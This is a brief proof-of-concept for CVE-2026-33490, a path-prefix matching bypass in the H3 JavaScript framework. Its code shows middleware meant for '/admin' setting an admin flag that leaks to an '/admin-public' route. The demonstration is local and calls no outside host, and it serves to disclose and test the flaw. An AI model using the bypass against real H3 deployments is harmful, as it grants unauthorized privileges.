CVE-2026-33490 H3框架路径前缀匹配绕过漏洞

// PoC for CVE-2026-33490: H3 Path Prefix Matching Bypass // Description: Demonstrates middleware intended for '/admin' triggering on '/admin-public' const { createApp } = require('h3'); const app = createApp(); // Middleware intended strictly for '/admin' routes app.use('/admin', (event) => { console.log('[!] Admin middleware triggered for path:', event.path); // Simulating setting a privilege flag event.context.isAdmin = true; }); // A public route that should NOT have admin privileges app.use('/admin-public', (event) => { if (event.context.isAdmin) { return { result: 'VULNERABLE', message: 'Admin context leaked to public route!' }; } return { result: 'SAFE' }; }); // Exploit: Accessing /admin-public triggers the /admin middleware // In a vulnerable version, this returns { result: 'VULNERABLE' }